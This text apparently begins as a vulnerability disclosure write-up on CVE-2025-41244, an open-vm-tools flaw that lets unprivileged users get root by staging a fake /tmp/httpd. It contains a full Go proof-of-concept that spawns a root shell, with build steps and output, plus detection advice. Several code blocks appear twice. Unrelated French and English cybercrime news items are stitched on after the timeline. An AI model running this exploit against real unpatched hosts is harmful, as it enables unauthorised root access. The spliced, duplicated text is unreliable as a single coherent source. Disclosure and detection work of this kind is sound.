Organizations relying on the VMware hypervisor commonly employ the VMware Aria Suite to manage their hybrid‑cloud workloads from a single console. Within this VMware Aria Suite, VMware Aria Operations is the component that provides performance insights, automated remediation, and capacity planning for the different hybrid‑cloud workloads. As part of its performance insights, VMware Aria Operations is capable of discovering which services and applications are running in the different virtual machines (VMs), a feature offered through the Service Discovery Management Pack (SDMP).
The discovery of these services and applications can be achieved in either of two modes:
The legacy credential-based service discovery relies on VMware Aria Operations running metrics collector scripts within the guest VM using a privileged user. In this mode, all the collection logic is managed by VMware Aria Operations and the guest’s VMware Tools merely acts as a proxy for the performed operations.
The credential-less service discovery is a more recent approach where the metrics collection has been implemented within the guest’s VMware Tools itself. In this mode, no credentials are needed as the collection is performed under the already privileged VMware Tools context.
As part of its discovery, NVISO was able to confirm the privilege escalation affects both modes, with the logic flaw hence being respectively located within VMware Aria Operations (in credential-based mode) and the VMware Tools (in credential-less mode). While VMware Aria Operations is proprietary, the VMware Tools are available as an open-source variant known as VMware’s open-vm-tools, distributed on most major Linux distributions. The following CVE-2025-41244 analysis is performed on this open-source component.
Analysis
Within open-vm-tools’ service discovery feature, the component handling the identification of a service’s version is achieved through the get-versions.sh shell script. As part of its logic, the get-versions.sh shell script has a generic get_version function. The function takes as argument a regular expression pattern, used to match supported service binaries (e.g., /usr/bin/apache), and a version command (e.g., -v), used to indicate how a matching binary should be invoked to retrieve its version.
When invoked, get_version loops $space_separated_pids, a list of all processes with a listening socket. For each process, it checks whether service binary (e.g., /usr/bin/apache) matches the regular expression and, if so, invokes the supported service’s version command (e.g., /usr/bin/apache -v).
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
The get_version function is called using several supported patterns and associated version commands. While this functionality works as expected for system binaries (e.g., /usr/bin/httpd), the usage of the broad‑matching \S character class (matching non‑whitespace characters) in several of the regex patterns also matches non-system binaries (e.g., /tmp/httpd). These non-system binaries are located within directories (e.g., /tmp) which are writable to unprivileged users by design.
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S" -v
get_version "/\S+/mysqld($|\s)" -V
get_version ".?/\Snginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S" -v
get_version "/\S+/mysqld($|\s)" -V
get_version ".?/\Snginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
By matching and subsequently executing non-system binaries (CWE-426: Untrusted Search Path), the service discovery feature can be abused by unprivileged users through the staging of malicious binaries (e.g., /tmp/httpd) which are subsequently elevated for version discovery. As simple as it sounds, you name it, VMware elevates it.
Proof of Concept
To abuse this vulnerability, an unprivileged local attacker can stage a malicious binary within any of the broadly-matched regular expression paths. A simple common location, abused in the wild by UNC5174, is /tmp/httpd. To ensure the malicious binary is picked up by the VMware service discovery, the binary must be run by the unprivileged user (i.e., show up in the process tree) and open at least a (random) listening socket.
The following bare-bone CVE-2025-41244.go proof-of-concept can be used to demonstrate the privilege escalation.
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}
}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil
}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()
}
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
_, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
_, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()}
Once compiled to a matching path (e.g., go build -o /tmp/httpd CVE-2025-41244.go) and executed, the above proof of concept will spawn an elevated root shell as soon as the VMware metrics collection is executed. This process, at least in credential-less mode, has historically been documented to run every 5 minutes.
nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
uid=0(root) gid=0(root) groups=0(root)
#
nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
uid=0(root) gid=0(root) groups=0(root)
#
Credential-based Service Discovery
When service discovery operates in the legacy credential-based mode, VMware Aria Operations will eventually trigger the privilege escalation once it runs the metrics collector scripts. Following successful exploitation, the unprivileged user will have achieved code execution within the privileged context of the configured credentials. The beneath process tree was obtained by running the ps -ef --forest command through the privilege escalation shell, where the entries until line 4 are legitimate and the entries as of line 5 part of the proof-of-concept exploit.
UID PID PPID C STIME TTY TIME CMD
root 806 1 0 08:54 ? 00:00:21 /usr/bin/vmtoolsd
root 80617 806 0 13:20 ? 00:00:00 _ /usr/bin/vmtoolsd
root 80618 80617 0 13:20 ? 00:00:00 _ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script_-28702555433556123420.sh
root 80621 80618 0 13:20 ? 00:00:00 _ /tmp/httpd -v
root 80626 80621 0 13:20 ? 00:00:00 _ /bin/sh -i
root 81087 80626 50 13:22 ? 00:00:00 _ ps -ef --forest
UID PID PPID C STIME TTY TIME CMD
root 806 1 0 08:54 ? 00:00:21 /usr/bin/vmtoolsd
root 80617 806 0 13:20 ? 00:00:00 _ /usr/bin/vmtoolsd
root 80618 80617 0 13:20 ? 00:00:00 _ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script-28702555433556123420.sh
root 80621 80618 0 13:20 ? 00:00:00 _ /tmp/httpd -v
root 80626 80621 0 13:20 ? 00:00:00 _ /bin/sh -i
root 81087 80626 50 13:22 ? 00:00:00 \ ps -ef --forest
Credential-less Service Discovery
When service discovery operates in the modern credential-less mode, the VMware Tools will eventually trigger the privilege escalation once it runs the collector plugin. Following successful exploitation, the unprivileged user will have achieved code execution within the privileged VMware Tools user context. The beneath process tree was obtained by running the ps -ef --forest command through the privilege escalation shell, where the first entry is legitimate and all subsequent entries (line 3 and beyond) part of the proof-of-concept exploit.
UID PID PPID C STIME TTY TIME CMD
root 10660 1 0 13:42 ? 00:00:00 /bin/sh /usr/lib/x8664-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root 10688 10660 0 13:42 ? 00:00:00 _ /tmp/httpd -v
root 10693 10688 0 13:42 ? 00:00:00 _ /bin/sh -i
root 11038 10693 0 13:44 ? 00:00:00 \ ps -ef --forest
UID PID PPID C STIME TTY TIME CMD
root 10660 1 0 13:42 ? 00:00:00 /bin/sh /usr/lib/x8664-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root 10688 10660 0 13:42 ? 00:00:00 _ /tmp/httpd -v
root 10693 10688 0 13:42 ? 00:00:00 _ /bin/sh -i
root 11038 10693 0 13:44 ? 00:00:00 \ ps -ef --forest
Detection
Successful exploitation of CVE-2025-41244 can easily be detected through the monitoring of uncommon child processes as demonstrated in the above process trees. Being a local privilege escalation, abuse of CVE-2025-41244 is indicative that an adversary has already gained access to the affected device and that several other detection mechanisms should have triggered.
Under certain circumstances, exploitation may forensically be confirmed in legacy credential-based mode through the analysis of lingering metrics collector scripts and outputs under the /tmp/VMware-SDMP-Scripts-{UUID}/ folders. While less than ideal, this approach may serve as a last resort in environments without process monitoring on compromised machines. The following redacted metrics collector script was recovered from the /tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.sh location and mentions the matched non-system service binary on its last line.
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}0.stdout" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr"
unset LINES;
unset COLUMNS;
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}_0.stderr"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}0.stdout" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr"
unset LINES;
unset COLUMNS;
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}_0.stderr"
Conclusions
While NVISO identified these vulnerabilities through its UNC5174 incident response engagements, the vulnerabilities’ trivialness and adversary practice of mimicking system binaries (T1036.005) do not allow us to determine with confidence whether UNC5174 willfully achieved exploitation.
The broad practice of mimicking system binaries (e.g., httpd) highlight the real possibility that several other malware strains have accidentally been benefiting from unintended privilege escalations for years. Furthermore, the ease with which these vulnerabilities could be identified in the open-vm-tools source code make it unlikely that knowledge of the privilege escalations did not predate NVISO’s in-the-wild identification.
Timeline
2025-05-19: Forensic artifact anomaly noted during UNC5174 incident response engagement.
2025-05-21: Forensic artifact anomaly attributed to unknown zero-day vulnerability.
2025-05-25: Zero day vulnerability identified and reproduced in a lab environment.
2025-05-27: Responsible disclosure authorized and initiated through Broadcom.
2025-05-28: Responsible disclosure triaged, investigation started by Broadcom.
2025-06-18: Embargo extended by Broadcom until no later than October to align release cycles.
2025-09-29: Embargo lifted, CVE-2025-41244 patches and advisory published.
Trois hommes ont été interpellés pour avoir utilisé des SMS frauduleux afin d'escroquer des victimes.
Le Ministère public genevois annonce ce jeudi l’arrestation de trois personnes accusées d’arnaques aux fausses amende. Deux de ces individus ont 21 ans, le troisième 30 ans. L’un a été interpellé le 23 juillet, les deux autres plus récemment, les 5 et 7 septembre.
Deux ont été arrêtés dans des véhicules qui contenaient des «SMS-Blaster», le troisième individu est le propriétaire de l'un des véhicules.
Les «SMS-Blaster»? Ces appareils se substituent aux antennes des opérateurs téléphoniques pour récupérer des numéros de téléphone et envoyer des SMS contenant un lien vers des sites frauduleux.
Exemple donné par le Ministère public: «parkings-ge.com», qui imite le site officiel de la fondation genevoise des parkings.
Faux conseiller bancaire
«Les destinataires des SMS étaient invités à s'acquitter d'une fausse contravention et à fournir à cet effet leurs données personnelles et bancaires», est-il expliqué. «Dans un second temps, les victimes étaient contactées par un faux conseiller bancaire, lequel les incitait à lui transmettre les codes nécessaires pour procéder à des prélèvements sur leur compte bancaire».
Les trois individus arrêtés sont poursuivis pour escroquerie et utilisation abusive d'une installation de télécommunication.
Pour davantage d'information, la police genevoise avait récemment détaillé les arnaques à la fausse contravention ou fausse amende, avec les recommandations d'usage. Les principales étant de ne pas divulguer de données personnelles et de s’assurer de la légitimité de son interlocuteur pour toute sollicitation financière ou urgente.
justice.ge.ch 25/09/25 Communiqué de presse - Ministère public Genève
Entre le 23 juillet et le 7 septembre 2025, deux individus âgés de 21 ans et un autre âgé de 30 ans ont été arrêtés. Ils sont suspectés d'avoir participé à l'envoi de SMS incitant les destinataires à régler une fausse contravention.
A Genève, trois personnes ont été interpellées les 23 juillet, 5 et 7 septembre 2025, dont deux dans des véhicules qui contenaient des appareils appelés "SMS-Blaster", la troisième personne étant le propriétaire de l'un des véhicules.
Ils sont suspectés d'avoir utilisé ces appareils, lesquels se substituent aux antennes des opérateurs téléphoniques, afin de récupérer des numéros de téléphone pour envoyer des SMS contenant un lien vers des sites frauduleux tels que "parkings-ge.com", imitant le site officiel de la fondation des parking "amendes.ch". Les destinataires des SMS étaient invités à s'acquitter d'une fausse contravention et à fournir à cet effet leurs données personnelles et bancaires.
Dans un second temps, les victimes étaient contactées par un faux conseiller bancaire, lequel les incitait à lui transmettre les codes nécessaires pour procéder à des prélèvements sur leur compte bancaire
Pour ces faits, les prévenus sont poursuivis pour escroquerie (art. 146 CP) et utilisation abusive d'une installation de télécommunication (art. 179septies CP).
Les investigations sont menées par la brigade des cyber enquêtes sous la direction de la procureure Vanessa SCHWAB.
Les prévenus bénéficient de la présomption d'innocence.
news.admin.ch Berne, 29.09.2025
— L’obligation légale de signaler les cyberattaques contre les infrastructures critiques est entrée en vigueur le 1er avril 2025. L’Office fédéral de la cybersécurité (OFCS) tire un bilan positif après les six premiers mois. Jusqu’à présent, au total 164 cyberattaques contre des infrastructures critiques ont été signalées. Les sanctions prévues en cas de non-signalement entrent en vigueur le 1er octobre 2025.
L’obligation de signaler des cyberattaques contre des infrastructures critiques est entrée en vigueur il y a six mois. L’OFCS se montre globalement satisfait de la mise en application de cette mesure. Les organisations exploitantes d’infrastructures critiques s’en tiennent au délai légal qui prévoit de signaler des cyberattaques dans les 24 heures. L’utilisation du Cyber Security Hub, qui permet de simplifier considérablement le traitement des cyberattaques par l’OFCS, est particulièrement positive. Déjà avant l’introduction de l’obligation de signaler, la relation de confiance entre l’OFCS et de nombreuses organisations exploitantes d’infrastructures critiques était étroite. La longue collaboration entre les partenaires a constitué la base du lancement réussi de l’obligation de signaler.
164 signalements concernant des infrastructures critiques
Depuis début avril, au total 164 signalements de cyberattaques contre des infrastructures critiques ont été adressés à l’OFCS. Les plus fréquents concernent les attaques DDoS (18.1%), suivies par les piratages (16.1%), les attaques par rançongiciel (12.4%), les vols d’identifiants (11.4%), les fuites de données (9.8%), et les maliciels (9.3%). Des phénomènes combinés tels qu’attaques par rançongiciel avec fuites simultanées de données ont été décrits dans plusieurs cas. Les branches touchées sont multiples. Jusqu’à présent, la branche la plus fortement impactée était la finance (19%), suivie de l’informatique (8.7%) et du secteur de l’énergie (7.6%). D’autres signalements provenaient des autorités, du secteur de la santé, d’entreprises de télécommunication, du secteur postal, du secteur des transports, de la branche des médias et de celle des technologies ainsi que de l’alimentation.
Renforcement de l’échange d’informations
Les signalements sont enregistrés et analysés à des fins statistiques. Les informations obtenues n’aident pas seulement à réagir concrètement à un incident, mais elles contribuent également à une meilleure évaluation des menaces au niveau national et à alerter assez tôt d’autres organisations potentiellement affectées. Depuis l’entrée en vigueur de l’obligation de signaler, beaucoup plus d’organisations participent directement à l’échange d’informations. C’est pourquoi les signalements et les recommandations atteignent nettement plus d’acteurs par ce biais.
Des sanctions à partir du 1er octobre 2025 en cas d’infractions
Les sanctions prévues par la loi sur la sécurité de l’information en cas de non-signalement d’une cyberattaque entrent en vigueur le 1er octobre 2025. Les organisations exploitantes d’infrastructures critiques peuvent être sanctionnées d’une amende allant jusqu’à 100’000 francs si elles ne se conforment pas à cette obligation. Par ailleurs, si l’OFCS dispose d’indices laissant supposer qu’un signalement n’a pas été effectué, il est tenu de prendre contact en premier lieu avec l’autorité concernée. Ce n’est que lorsque les personnes concernées ne réagissent pas à cette prise de contact et à la décision qui s’ensuit, que l’OFCS peut déposer une plainte pénale.
Reporter Joe Tidy was offered money if he would help cyber criminals access BBC systems.
Like many things in the shadowy world of cyber-crime, an insider threat is something very few people have experience of.
Even fewer people want to talk about it.
But I was given a unique and worrying experience of how hackers can leverage insiders when I myself was recently propositioned by a criminal gang.
"If you are interested, we can offer you 15% of any ransom payment if you give us access to your PC."
That was the message I received out of the blue from someone called Syndicate who pinged me in July on the encrypted chat app Signal.
I had no idea who this person was but instantly knew what it was about.
I was being offered a portion of a potentially large amount of money if I helped cyber criminals access BBC systems through my laptop.
They would steal data or install malicious software and hold my employer to ransom and I would secretly get a cut.
I had heard stories about this kind of thing.
In fact, only a few days before the unsolicited message, news emerged from Brazil that an IT worker there had been arrested for selling his login details to hackers which police say led to the loss of $100m (£74m) for the banking victim.
I decided to play along with Syndicate after taking advice from a senior BBC editor. I was eager to see how criminals make these shady deals with potentially treacherous employees at a time when cyber-attacks around the world are becoming more impactful and disruptive to everyday life.
I told Syn, who had changed their name mid-conversation, that I was potentially interested but needed to know how it works.
They explained that if I gave them my login details and security code then they would hack the BBC and then extort the corporation for a ransom in bitcoin. I would be in line for a portion of that payout.
They upped their offer.
"We aren't sure how much the BBC pays you but what if you took 25% of the final negotiation as we extract 1% of the BBC's total revenue? You wouldn't need to work ever again."
Syn estimated that their team could demand a ransom in the tens of millions if they successfully infiltrated the corporation.
The BBC has not publicly taken a position on whether or not it would pay hackers but advice from the National Crime Agency is not to pay.
Still, the hackers continued their pitch.
Government stops over £480 million ending up in the pockets of fraudsters over twelve months since April 2024 - more money than ever before.
Government stops over £480 million ending up in the pockets of fraudsters over twelve months since April 2024 - more money than ever before.
New technology and artificial intelligence turns the tide in the fight against public sector fraud, with new tech to prevent repeat of Covid loan fraud.
Over a third of the money saved relates to fraud committed by companies and people during the pandemic.
Crackdown means more funding for schools, hospitals and vital public services to deliver the Plan for Change.
Fraudsters have been stopped from stealing a record £480 million from the taxpayer in the government’s biggest ever fraud crackdown, meaning more money can be used to recruit nurses, teachers and police officers as part of the Plan for Change.
Over a third of the money saved (£186 million) comes from identifying and recovering fraud committed during the Covid-19 pandemic. Government efforts to date have blocked hundreds of thousands of companies with outstanding or potentially fraudulent Bounce Back Loans from dissolving before they would have to pay anything back. We have also clawed back millions of pounds from companies that took out Covid loans they were not entitled to, or took out multiple loans when only entitled to one.
This builds on successful convictions in recent months to crack down on opportunists who exploited the Bounce Back Loan Scheme for their own gain, including a woman who invented a company and then sent the loan money to Poland.
Alongside Covid fraud, the record savings reached in the year to April 2025 include clamping down on people unlawfully claiming single persons council tax discount and removing people from social housing waitlists who wanted to illegally sublet their discounted homes at the taxpayers’ expense.
Announcing the record figures at an anti-fraud Five Eyes summit in London, Cabinet Office Minister Josh Simons said:
Working people expect their taxes to go towards schools, hospitals, roads and the services they and their families use. That money going into the hands of fraudsters is a betrayal of their hard work and the system of paying your fair share. It has to stop.
That’s why this government has delivered the toughest ever crackdown on fraud, protecting almost half a billion pounds in under 12 months.
We’re using cutting-edge AI and data tools to stay one step ahead of fraudsters, making sure public funds are protected and used to deliver public services for those who need them most - not line the pockets of scammers and swindlers.
The savings have been driven by comparing different information the government holds to stop people falsely claiming benefits and discounts that they’re clearly not eligible for.
The high-tech push brought around £110m back to the exchequer more than the year before, and comes as the government pushes to save £45 billion by using tech to make the public sector more productive, saving money for the NHS and police forces to deliver the Plan for Change.
The Minister will also unveil a new AI fraud prevention tool that has been built by the government and will be used across all departments after successful tests.
The AI system scans new policies and procedures for weaknesses before they can be exploited, helping make new policies fraud-proof when they are drafting them. The tool could be essential in stopping fraudsters from taking advantage of government efforts to help people in need amid future emergencies.
It has been designed to prevent the scale of criminality seen through the Covid pandemic, where millions were lost to people falsely taking advantage of furlough, Covid Grants and Bounce Back Loans.
Results from early tests show it could save thousands of hours and help prevent millions in potential losses, slashing the time to identify fraud risks by 80% while preserving human oversight.
The UK will also licence the technology internationally, with Five Eyes partners at the summit considering adoption as part of strengthening global efforts to stop fraud and demonstrating Britain’s role at the forefront of innovation.
The summit will bring together key allies and showcase the government’s unprecedented use of artificial intelligence, data-matching and specialist investigators to target fraud across more than a thousand different schemes.
At the summit, Cabinet Office Minister Josh Simons will describe how the record crackdown has been achieved:
Over £68 million of wrongful pension payments were prevented across major public sector pension schemes, including the Local Government Pension Scheme, NHS Pension Scheme, Civil Service Pensions and Armed Forces pension schemes. These savings were achieved by identifying cases where pension payments continued after the individual had died, often with relatives continuing to claim benefits they were not entitled to.
More than 2,600 people were removed from housing waiting lists they weren’t entitled to be on, including individuals who were subletting or had multiple tenancies unlawfully.
Over 37,000 fraudulent single-person council tax discount claims were stopped, saving £36 million for local councils and taxpayers. These false claims, often made by individuals misrepresenting their household size to secure a 25% discount, were uncovered using advanced data-matching.
Today’s announcement follows extensive progress on fraud in the last 12 months, including the appointment of a Covid Counter-Fraud Commissioner, introduced the Public Authorities Fraud, Error and Recovery Bill, and boosted AI-driven detection, saving hundreds of millions and strengthening public sector fraud prevention – driven by the Public Sector Fraud Authority.
The majority of the £480 million saved is taxpayer money, with a portion from private sector partners, such as insurance and utilities companies, helping lower consumer costs and support UK business growth.
Les Numériques
Par
Juliette Sbranna
Publié le 22/09/25 à 19h45
Un fichier prétendument volé à l’ANTS circulerait sur le dark web. Entre rumeurs, échantillons douteux et annonces répétées, on fait le point sur cette affaire et sur ce qui est avéré.
L’ANTS dément le piratage de 12 millions de données : on fait le point sur l’affaire
3
Un fichier prétendument volé à l’ANTS circulerait sur le dark web. Entre rumeurs, échantillons douteux et annonces répétées, on fait le point sur cette affaire et sur ce qui est avéré.
L'ants aurait été volée de 12 millions de données, mais la rumeur serait fausse
Depuis ce week-end, des rumeurs concernant un vol de données de l’ANTS ont circulé. Sauf que ’affaire a pris une tournure inattendue lorsque l’agence a finalement démenti ces rumeurs, tout en laissant la porte ouverte à la possibilité de la perte de quelques informations. Voici un point sur cette situation.
Pour rappel l'Agence Nationale des Titres Sécurisés devenue France Titres, est l'organisme public créé par l’État, qui s’occupe de fabriquer et de délivrer les documents officiels, comme les cartes d’identité, les passeports ou les permis de conduire. Lorsqu’une demande est faite en mairie ou en ligne, c’est elle qui centralise et produit le titre, ce qui poserait un réel problème en cas de fuite.
L'ANTS n'aurait pas été volé
Il serait question d’environ 12 millions de données de l'ANTS circulant sur le dark web et d’un échantillon en libre accès, prétenduemment volés. Cependant, l’affaire a pris une tournure particulière lorsque l’agence a démenti ces rumeurs.
Selon l’ANTS, aucune intrusion n’a été détectée jusqu’à présent. Le groupe précise qu’il, qui dépend du ministère de l’Intérieur et gère des données sensibles, est soumis à des mesures de sécurité strictes et à une surveillance constante des services de l’État.
Aucune intrusion n’a été identifiée au sein des systèmes d’information de l’ANTS, que ce soit par les services de l’agence ou par ceux du ministère de l’Intérieur.
L’échantillon disponible sur le dark web,contient de nombreuses incohérences
Quant à ce fameux échantillon en libre accès, c’est là que l’affaire devient intéressante, car le média ZATAZ a découvert que ce fichier, prétendument de l’ANTS était déjà en vente depuis des mois.
Publicité, votre contenu continue ci-dessous
Publicité
Le même fichier de plus de 10 millions de fiches d’état civil géré par l’ANTS a été exfiltré en mars 2025 via un entrée compromise et a circulé sur le dark web à plusieurs reprises, avec des annonces repérées en juin et relancées mi-septembre 2025. Les pseudos des vendeurs et les plateformes changent, mais il s’agirait bien de la même fuite.
Cependant, ici aussi l’ANTS rassure ses utilisateurs, car ces données seraient non conformes aux formats de l’agence et présenteraient beaucoup trop d’incohérences pour être véridiques.
L’échantillon disponible sur le dark web, présenté comme « produit d’appel », contient de nombreuses incohérences et des formats qui ne correspondent pas à ceux de l’ANTS.
Un pirate à la méthode déjà connue ?
Toutefois, même avec des informations fausses, le pirate pourrait ressortir gagnant : le schéma est simple,il publie, les influenceurs relaient, et les internautes amplifient, renforçant la visibilité et la valeur commerciale des annonces. Bref, un arnaqueur qui en plume d’autres en vendant des données trompeuses.
Pour l’instant, l’affaire est à suivre, mais l’ANTS a porté plainte contre X et poursuivra le dossier devant la justice. L’Agence Nationale de la Sécurité des Systèmes d’Information (ANSSI) est aussi mobilisée pour identifier l’origine de ces données et les auteurs de leur diffusion.
Au final, si l’ANTS rassure sur l’absence d’intrusion dans ses systèmes, la circulation éventuelle de certaines données reste une possibilité à surveiller.
bbc.com/ Jacqueline Howard
The pair were allegedly recruited by pro-Russian hackers and used a "wi-fi sniffer" on the Europol headquarters.
Two 17-year-old boys have been arrested on suspicion of "state interference" in the Netherlands, prosecutors say, in a case with reported links to Russian spying.
The pair were allegedly contacted by pro-Russian hackers on the messaging app Telegram, Dutch media reported.
One of the boys allegedly walked past the offices of Europol, Eurojust and the Canadian embassy in The Hague carrying a "wi-fi sniffer" - a device designed to identify and intercept wi-fi networks.
The teenagers appeared before a judge on Thursday, who ordered one boy be remanded in custody and the other placed on strict home bail conditions until a hearing, which is due to take place in the next two weeks.
The National Office of the Netherlands Public Prosecution Service confirmed court appearance, but told the BBC it could not provide details on the case due to the suspects' age and in "the interest of the investigation", which is ongoing.
One of the boy's father told Dutch newspaper De Telegraaf that police had arrested his son on Monday afternoon while he was doing his homework.
He said police told him that the arrest related to espionage and rendering services to a foreign country, the paper reports.
The teenager was described as being computer savvy and having a fascination for hacking, while holding a part-time job at a supermarket.
The Netherlands' domestic intelligence and security agency declined to comment on the case when approached by the BBC.
| TechCrunch techcrunch.com
Zack Whittaker
Sarah Perez
2:10 PM PDT · September 25, 2025
Call recording app Neon was one of the top-ranked iPhone apps, but was pulled offline after a security bug allowed any logged-in user to access the call recordings and transcripts of any other user.
A viral app called Neon, which offers to record your phone calls and pay you for the audio so it can sell that data to AI companies, has rapidly risen to the ranks of the top-five free iPhone apps since its launch last week.
The app already has thousands of users and was downloaded 75,000 times yesterday alone, according to app intelligence provider Appfigures. Neon pitches itself as a way for users to make money by providing call recordings that help train, improve, and test AI models.
But Neon has gone offline, at least for now, after a security flaw allowed anyone to access the phone numbers, call recordings, and transcripts of any other user, TechCrunch can now report.
TechCrunch discovered the security flaw during a short test of the app on Thursday. We alerted the app’s founder, Alex Kiam (who previously did not respond to a request for comment about the app), to the flaw soon after our discovery.
Kiam told TechCrunch later Thursday that he took down the app’s servers and began notifying users about pausing the app, but fell short of informing his users about the security lapse.
The Neon app stopped functioning soon after we contacted Kiam.
Call recordings and transcripts exposed
At fault was the fact that the Neon app’s servers were not preventing any logged-in user from accessing someone else’s data.
TechCrunch created a new user account on a dedicated iPhone and verified a phone number as part of the sign-up process. We used a network traffic analysis tool called Burp Suite to inspect the network data flowing in and out of the Neon app, allowing us to understand how the app works at a technical level, such as how the app communicates with its back-end servers.
